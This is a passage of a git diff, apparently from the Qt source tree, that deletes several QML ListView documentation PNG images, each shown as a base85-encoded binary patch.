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 OSUMVp>b0uK$o~MwnAVN} diff --git a/src/qml/doc/images/listview-layout-righttoleft.png b/src/qml/doc/images/listview-layout-righttoleft.png deleted file mode 100644 index 2c54a2a7b1284dad990594ad52cb51e70aa65995..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5840 zcmds*)mIeI7RG0W9AG4dMkJ*{Qig5;=|+&40i+qaV@T<4kP?)VPz33rk!}zH>68v> zF87bPFZW^Z^YHDp&R%Doz1IGIQJU(C5Ikx;0000{R+86#JeMEC1sD4<4^dR(005u^ zTRAyRWjQ%|O;_YQTL&uuz#AB@J8BP=A-#X;R5r$lYh?fAt9K%!@|y}9g{hZ!#0YzW z-*oi~iIxJ&Gfpq}4p_dIM6R!nb1W(B7vemip7|bGzIYvOq`XN=r9+iqspl@*lDV@nsk5{=wodPQ`-xgL5eY|9yz|&;sa5z&@n&~~#8XP4vrBWb2I{g)p-xgW zA~n_`U6)@xkmJm%JN=W_As3S<^e+RSEMj;uHRp?+_#= zvC1>b^L@tcOH_=oeoltG|=k^>DYvDmx#GXY>|BR7MZaaq^r> z1^%kJV;}B^v;@Jmh%@TQpVn`uYw59wNj~uCUm3z1$A;*3VvvOg1k=n z-FHi|{x5nfpAGcFVYxr6$x+AUkf_kA#L2A+MA1GTa8&PP|1l7Di)kocLH;C-OD&@NRn7HPyM*HfjQu|k+I`vF&#x)Y%a;Jdyj){640I;*t8#e#|ANt<_0D0H*o(0*qc;gzVBht&61y)NJ$A76GRe^Yu~xQ6Bm zl}Co24{X6BfIO5Q*S`tGv&%YIgb!*O*a2b^C2{741mh~n@-wG2Hnn@XCMs`tGwVqF zBtS}pWtC+e`0g2;AC~)8lpAZaqcEW6pmSO2stjEbEfzFpG`I%P$jBS)%Zvt9DqiLa zLd}7$w2vi9Xu||sw+UfNpmOrAL?2{$%diAM1FH0W!Tpkc9d}BxwMzX=4{uDx^cNk~ z5hzi|k#foa?A?^(*`FyYa29JNroz#5H$TAFECgCbnM#ZTo5uIX~`OkO&X5?1v8>S1f;g=@4+@i=0H2?6*d+k zHV_wDI%(5A6NL>VFZh2ctE%7#?AKZjZu26v2D+M9fT%I~O`Sjfo0DC)@n_|KoeS8J zE!_62CCWldQb0@7(cE2-NEpE1ze8vL@b*r7?i+(=%WAKjHSOHDxoGe2_jH{rFDNDN zds&=!LZYWk`8O}vJ8@dA32#44OvGEP=!m^L}KE+lZwz?%)tu(SB+9e+sYTjIneJl7WniE?nf<(-QI?&MqKLEGX`_P3VFK{$C zmyyhin{VYbYGqDfFz)k;Y_I(aE|eFWlxa=-TWbQ~MIZspBWtnT=yr)y+;=b-j7b*! zO@&nT*EU+`Fq^NToyv75vfNFB%IAjkEm0~>A!wm_ATG5IB)?$SwfsFE0Tmu`FYF7E zy(9o*WsQ7>gRY5TKGHIv^WAsx{7f^t2ctE2@{3y8S(=!Q@G$Vv>MN{&JnXWo^i=KY zFHP)ob(*LW-4d_ILkMOFMe?)2sZbjY(>we<@k_1*@xrOl)45=}pPZuHi@}>-{YpRd zy9N`=2F2hO=piJTJYibxH6eMW|3vtjd)yIrf?Rk^tQRSM&FyP#3X3bs|9*Z)mj2AP z`7kX$ti(8yViRdZAwKbPb9It1n-ew8yzY?MTFCdDF#QmM zC%QmqQDGR6`t0sr0RNT$yUySCCa^92ajQt6Mm%p}6uOD466-I_sQ2iBa_n;uLw0uQ z#vt~pnOm3o!Ea$!Bl8szG)>DZ9P5je2?Fn^`!l>w%*b96@>c5(R2mQ0)kJvA6sW%4 zxc78zSSgC=<%WF>AD;7vb4meijzZKM2{ffrn8^549o?I z_AP5 zD--X8gZz6zsyM7TjBs}uFQ+5(E!*s;49G1Ux*r2-A4^T>d=h5~)`cdd*ha$pZv*ki zwvkFs(=rX1A1Jmg`j+%y`6=Oy4ewhlxrrxzsjru=DYLUYRLH9qG-}UN-2aOD14KM= zEZso!7nxBwim~!;p(D@UH9#mdoVqBC@8h`5Xcd}&<|B;qIrJr?z? zS%iFOR+Fonj$06@hW{A{8>ZN!Gl?xY988WyhDICkc-{^5Zd#}%`SuNNld7C*{~76H z&7tcw8|CWG4-y8B_Y5Z9s=nHD-T}Q7&j`sVjr~}p+CTb4?(LP8{vIx$%YiBvC8*3RH_|RTFH-%Kk^I1yfbi&|(!1Y68s#-4xbZ&6mpdXZ7ZfwB^KYiagta>D_uO{qk z^eWOQE#4rf;9s4|9BBqBBmo;SG}y;+C!L?LrLWeNOG_^P zwh-Hq8r4Mxk6XwE%Jk5(Emikm;UkQmGfvnP9C)Je$gGd^$(rFYG^koHpB@7eMkHNm z2iWs(;Eh}^Pt4Sskap)+Ir7R6wDAY-aDlAn%;y5;EAh^iJ}_0oXjxm+OWBTn4E*up zKYDcq?WJOP&W9(A>w7yWt&Eki@lklJY1ETpYJ3cxQ>X}BOalMrh2hwz8=Xk9*Jsw1 zi6g6*$6PQjWg8mKD(zd<^5CncW%{;(x{mD35avGt4x1O33csD#=^pTK97S_vIn5)~ zh2eLeoEL}4uzflszQQ=-z4i;V$ZOz?m9&lR08?*90w|X4ErUzb;f|lWXa@OFc9JJ}E4wWj-3t>W}OD$SJf zo>Q{(k4JBDT*~wWH8dYv$oN$6u6km{Bs3oPIB_Oprq=TUpUrJ|l;lbG%I-#_i@XiQ z5^oub4Bm@Q6p~etedFKbKeL~r8+q%t=De#-=)QYSKz%jS?rQ2G<^_r87ov^lF+p}r zw*ghyl4;prsCew$Pl`=(Iyx?G*ZnN8^8zpCCA3Ej4-H0Z@c%4xE^5l>axWX z4_fe{Hz2OxO}7y`my2EFT6ozr7ro~5^!A>#6CujTYVYuKe{J2Lv>b0?gu>;>kbm{} zhbqQPC*)Ywbe>&$b~&N?78MiP z4Kz{hpH*D~*OMA56F5pEeRcZ{teI2m42 zv1k9h7@g+csY3LQeU63pqo>kW*hGWyq^_5s%B?7!Em~Y;Qb<(^g|vxH3O^%s1MwLV zgGu#Eu=_-R58f3!cOH@RRvyvxrqc**I3Io1*~cO-R*x&t^%VCb0nCOoIoJrjk;2`H z?6<6Gi#{;nEXp_%y*Rjs=FaGCFV^bxyzsbN59xAZ>d^60u9}0BWL1jYSaAg)F{akj zGIXr+m^S_4x&8hWeQhtzE=qsi{iPzUw>T3;h;0msn1;Cu7VeF-hMebo9nvF;}>_} zP_;Tg<@yQ?=@ho~MSZY}-R2tK zNveyjjdLF}UN{BZQETh*GgY0!+@mJT+SMebj4$}IG2B)L(vo-Li}K@_yOjlElZ2CS z^b^SVSkCgU6^p-ILMA@9MKM&c7BIylb_7mq|18kOS%w%dPA_jK0L+8@p$D!vK zCl<6vR-jSb-!NhIH&Yn!!rHremP2=7t={0;LQG^D@xH3BdGvfzk>J>(cJ&V{FXBwM z_|-#RE&~r+QtR=1p$c9e8B1)T5rwtO@r3k$dpcVFgQNX^Oja4Kbs9U*{$}2G0HCFeyfRDs(yGo z>8|Jf_E*iu1E6^jRrBft5gFAR)imkV3evM>9nF63RQY@V73scLKwK`by)~@1Bqkcm!fpnfR_x!z{_A{UK)b?9f8a^; z{q%=2#5RGLLm7IZj<>Fe=GW6v&7<~*0v|Lb&da!|3fodk6*YUgk}kV{S|J@%BwFKV z2F)0EHy+#yn`Vf#_)lq)LQ`)_FtGdu1!WKeUzA9l%d_)jB|aj|t7ZSXa~3G@{Sf&g z&tdY>O4WEDJ;e7;9^aV@54!A??|r26!h96Oi5N6$hNDBj#QnIj$i{j4-1}M0C*~_J z)q*FO7u@Ic-`+=e(J z4nf|jK6ntnOA%gBUD9A3#>h5O_O^EYapWUiSa)TqT0jECmq`Abva#|5SwxF8p$7)4 zc^2zZE;#bnJykSZ+|zKj7o@&(s zAW6Zqg#b5IC2o!#$_aHgf7oDnzqREVQkCv?Xe0NRBaWNpt%@L%v59WZ(Nlx_zn|m$ zVNhHGpzG5mfsru30c|GM)ftM#$j@RH8V6OQqQ(p$ag~N5Z`+`sRbQBRungLCj%RaE zOy0g~@)}9?Q}y?|{u;6|TfnHv3EE&5JDA0y&kCoz8atJ45;9FM1D8TB@Gm z9nBM7LLR|~Dd--YXteR1?!AS~4m7D;mP3mJZZ$Yreofpb5bVn;tuorCo2Zabe1Q#x zoaIj4n*7w=775;f#Il>pn$4ql@H3N-G*Fhss@65Qu0P4QvL7r!=L#s#qhhIbbk3U% z1n0{Q;$_Et8jCvrF%;9Gadq?EYm=c1W0Z$-Y62VtNd^p`4=>quAZ=-FJUZk#5%S_x zKXb70YeXk*7a@xDZ4!&iBB;g-B%>rM!c|+9p7asW$kpnKXvoN+uqXu;dLkkif#l|F z=^R_^Hn=r_&`+gvW15fjhM-4#LmUh8sEv`5(NITY8lnmf%X2>$Fg$A6MF=^$Bmh1y zsY==@soTD66RN{<&u zmkjveQ9o)0>>Muz|2Iut&YV4VRcKYpymK|xx(t6_Mp`#yC2gb&iw95TNt2OqN@}HX zn|t6)FJVfCfB}$|qNTB2k2KIaUKgf3)W#;w%>91XRnoI_Dx8|G3lo#r9Eb<{`Do)k v9^ar6Uq~_njQa?cNHLQ&x-fTTmmh#@|CF`%#*^?LK^;I@L0!H|);#1t2YA8x diff --git a/src/qml/doc/images/listview-layout-toptobottom.png b/src/qml/doc/images/listview-layout-toptobottom.png deleted file mode 100644 index 2054a5743baee167fabde8db0a1da3e8ffeed1e3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5587 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

2{c<}GxB zSM5w8DhrxP%Ll)>R50^cmSLDLV9pe5y)hm?wFefRPjzeA-jqNMR10A3$O`(M+Q=H3 zwYm!a-|2<*t#iC8y{B&k-0O0X@+lFc zfH7p$D`aIVwHbJsUedcZgVS9A+-pDHm<@BZFxHK4(ChV|T2`2UM|7ytysQ)J>#|6^ zKs$B%;=8tT!PYCUo8k7AGI~9o_$NZL7xwWdSy6}1F(!}FmZ=YH53cP|Yhz>HJm3Pn zvhC}0KOl#{e*9r~$!hb-l{5|)jDWyi8H_KUY$|rL8IJQsFeQ=0;t$u_lwKF0Er#AB zhl23yyOUWHU+?)_45JaF!`>xR^7AFI$%z!V<_f}eM)D~zs*dzF!QduK_ui@$-xtim z+N#$oxCK29pRpoq<|8@@%NNAyQGk=IsfyF6 zgYingg!dj=$1`KJATYr+hyX~>SJ|l%nWlAgqLE#>pZG3LFrLdXqwTKB$u!6avw!5^ zYZC=nj%mrSf05R zT$jVTk%xz?+p;Eg{W3T;0gc@8GI#Z5gwdD`68wy?#i=vr)1RP_WO-T=#I76R^N}PT z;b=(F=PXKQ2J`RHGYQ`i(jF?wIeWXZs!toKgTWWut=H)JT z*PO777rE*S{8{9Lc^KSF?`Exl4tfOPNLH=s{OS?les@vld2R?c@u1=?rh^8sbLNQWPj2H-~&nL=FP_}^1Nc5ZN3 z&m>QtP!DW=IIixEjI^0;sydBX_krcW0!==snqRp@cooTipx$!%vp#TzntIu**hgf^ zUh3wA+7WdnOK`~wwiqJKPxA$a+XMQioj*-KpqNWH5RCubRiP-#s>)PCOoIOhwtStv diff --git a/src/qml/doc/images/listview-simple.png b/src/qml/doc/images/listview-simple.png deleted file mode 100644 index 71a1c5172f4d028daf7eb9aad2a75e3095585c85..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5351 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 